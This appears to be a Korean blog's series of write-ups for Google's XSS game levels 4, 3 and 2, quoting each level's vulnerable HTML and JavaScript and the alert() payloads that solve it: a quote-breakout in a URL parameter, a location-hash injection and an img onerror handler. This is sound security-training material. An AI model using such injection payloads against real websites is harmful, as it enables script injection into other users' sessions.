xss game level 4 write up


#번역


미션 설명 : 사용자가 제공한 모든 데이터는 표시도리 페이지의 내용에 맞게 올바르게 이스케이프되어야 합니다. 


미션 목표 : alert()로 팝업하는 스크립트를 삽입하세요.





#분석


hint

1. startTimer 함수가 호출되는 방법을 살펴봅시다. 

2. 브라우저가 태그 속성을 구문 분석할 때 먼저 HTML 값을 디코딩합니다. <foo bar = 'z'>는 <foo bar='&#x7a;와 동일합니다. 

3. 작은 따옴표(')를 입력하고 오류 콘솔을 확인하세요.


3번에서 작은 따옴표를 입력하면 

이렇게 됩니다!


1번에서 startTimer 함수가 호출되는 방법을 확인하라고 했는데 그 내용은 timer.html에 존재함!


<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() {
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>


또한 index.html를 보면 

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <form action="" method="GET">
      <input id="timer" name="timer" value="3">
      <input id="button" type="submit" value="Create timer"> </form>
    </form>
  </body>
</html>


get방식임을 확인할 수 있고, timer.html에서 onload로 입력한 time이 들어감을 확인할 수 있다. 


url은 https://xss-game.appspot.com/level4/frame 이렇게 구성되어있는데, get방식으로 timer를 불러오니까 뒤에 스크립트를 추가하면 된다. 




#익스



기존 url : https://xss-game.appspot.com/level4/frame

3을 input값에 넣으면 https://xss-game.appspot.com/level4/frame?timer=3 이렇게 된다. 


https://xss-game.appspot.com/level4/frame?timer=('{{ timer }}'); 이렇게 전달되는것 같으니 

timer=1'); alert(''yeali" 이 내용을 넣어주면, https://xss-game.appspot.com/level4/frame?timer=('1'); alert(''yeali")');

이렇게 깔끔하게 되니까 실행되겠지?!!


근데 안됨.

https://xss-game.appspot.com/level4/frame?timer=1')-alert('yeali 이렇게 하면 됨. -연산을 주면 alert창이 뜨면서 성공!






ps. 다른 블로그에서 다른 스크립트로 푼게 있어서 적어두려고 함. 


나와 같이 세미콜론으로 해서 안 되는 경우였음. 나는 -연산을 사용했지만 다른 글은 url 인코딩해서 보내주어서 문제를 풀었다. 


;를 %3B로 바꿔서 입력해서 ;으로 입력하여 푼 경우가 있음. hint를 보니 이 글과 같이 푸는게 출제의도인거같아서 적어둠. 

'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss game level 5 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17


Xss game level 3 write up


#번역


미션 설명 : level 2에서 보았듯이 일부 일반적인 js기능은 실행입니다. 즉, 브라우저가 입력에 나타는 스크립트를 실행하게 됩니다. 때로는 이러한 사실은 상위 수준의 API에 의해서 기능이 숨겨집니다. 이 레벨의 응용 프로그램은 그러한 숨겨진 싱크를 사용하고 있습니다. 


미션 목표: 이전과 마찬가지로 alert()를 사용한 팝업 스크립트를 삽입하세요. 


애플리케이션의 어느 위치에든 페이로드를 입력할 수 없으므로 아래의 url 표시줄에서 수동으로 주소를 편집해야 합니다. 





#분석



<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <!-- Load jQuery -->
    <script
      src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
    </script>
 
    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() {
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
  </script>
 
  </head>
  <body id="level3">
    <div id="header">
      <img id="logo" src="/static/logos/level3.png">
      <span>Take a tour of our cloud data center.</a>
    </div>
 
    <div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
    <div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
    <div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
 
    <div id="tabContent"> </div>
  </body>
</html> 





hint를 보았다!! 

1. 버그의 원인을 찾으려면 Javascript가 사용자가 제공한 입력을 처리하는 위치를 확인하세요.

2. window.location 개체의 데이터는 공격자의 영향을 받을 수 있습니다. 

3. 주입 지점을 확인했으면 새 HTML 요소에 들어가기 위해 할 일에 대해서 생각해보세요.

4. 브라우저가 페이지 로드 된 후에 추가된 스크립트를 실행하지 않기 때문에 이전과 마찬가지고 <script>를 사용하면 작동하지 않습니다.


window.onload = function() {
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }
 


이걸 이용하는거같은데 어떻게 이용하는걸까?


그 hint에서 3번을 보면 html요소에 들어가기 위해서 할일이라고 해서 코드를 보니 html에 들어가는 곳이 있다.

 var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);

img src가 저기 안에 있고, html로 들어가 적용시키고 띄우게 코딩되어있다. 그럼 level 2번에서 한 것처럼 똑같이 해보면 되지 않을까?





#익스


<img src="image.gif" onerror="myFunction()">


현재 문제창에는 url : https://xss-game.appspot.com/level3/frame#3 이렇게 떠있다. 


onerror를 사용하기 위해서 https://xss-game.appspot.com/level3/frame#'4.png' onerror='alert("yeali")'> 이렇게 url창에 입력해준다!




'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss game level 5 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17


Xss game level 2 write up


#번역


미션 설명 : 웹 응용 프로그램은 종종 사용자 데이터를 서버 측 및 클라이언트 측 데이터베이스에 보관하고 나중에 사용자에게 표시합니다. 그러한 사용자 제어 데이터의 출처가 무엇이든 관계없이 신중하게 처리해야 합니다.


복잡한 응용 프로그램에서 xss 버그를 얼마나 쉽게 도입할 수 있는지 알 수 있습니다. 


미션 목표 : alert() 응용 프로그램의 내용 안에 팝업 스크립트를 삽입하세요.

참고 : 응용 프로그램에서 게시물을 저장하므로 코드를 몰래 사용하여 경고를 실행하면 다시 로드할 때마다 수준이 해결됩니다. 




#분석


<script>구문이 먹히지 않음으로 필터링하고 있음을 알게 되었다. (필터링 하는 법 공부 예정)


hint로 onerror를 사용하라고 했는데, onerror를 검색하니 이렇게 나왔다.

(https://www.w3schools.com/jsref/event_onerror.asp)



<img src="image.gif" onerror="myFunction()">


img src를 실행하고 없으면 에러가 발생하고 onerror를 실행하게 된다.


그래서 일부러 없는 파일을 실행시킨 후 onerror에 원하는 행동을 하면 xss를 실행할 수 있게 된다.  




#익스


<img src=image.gif onerror=alert("yeali")>




'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss game level 5 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

+ Recent posts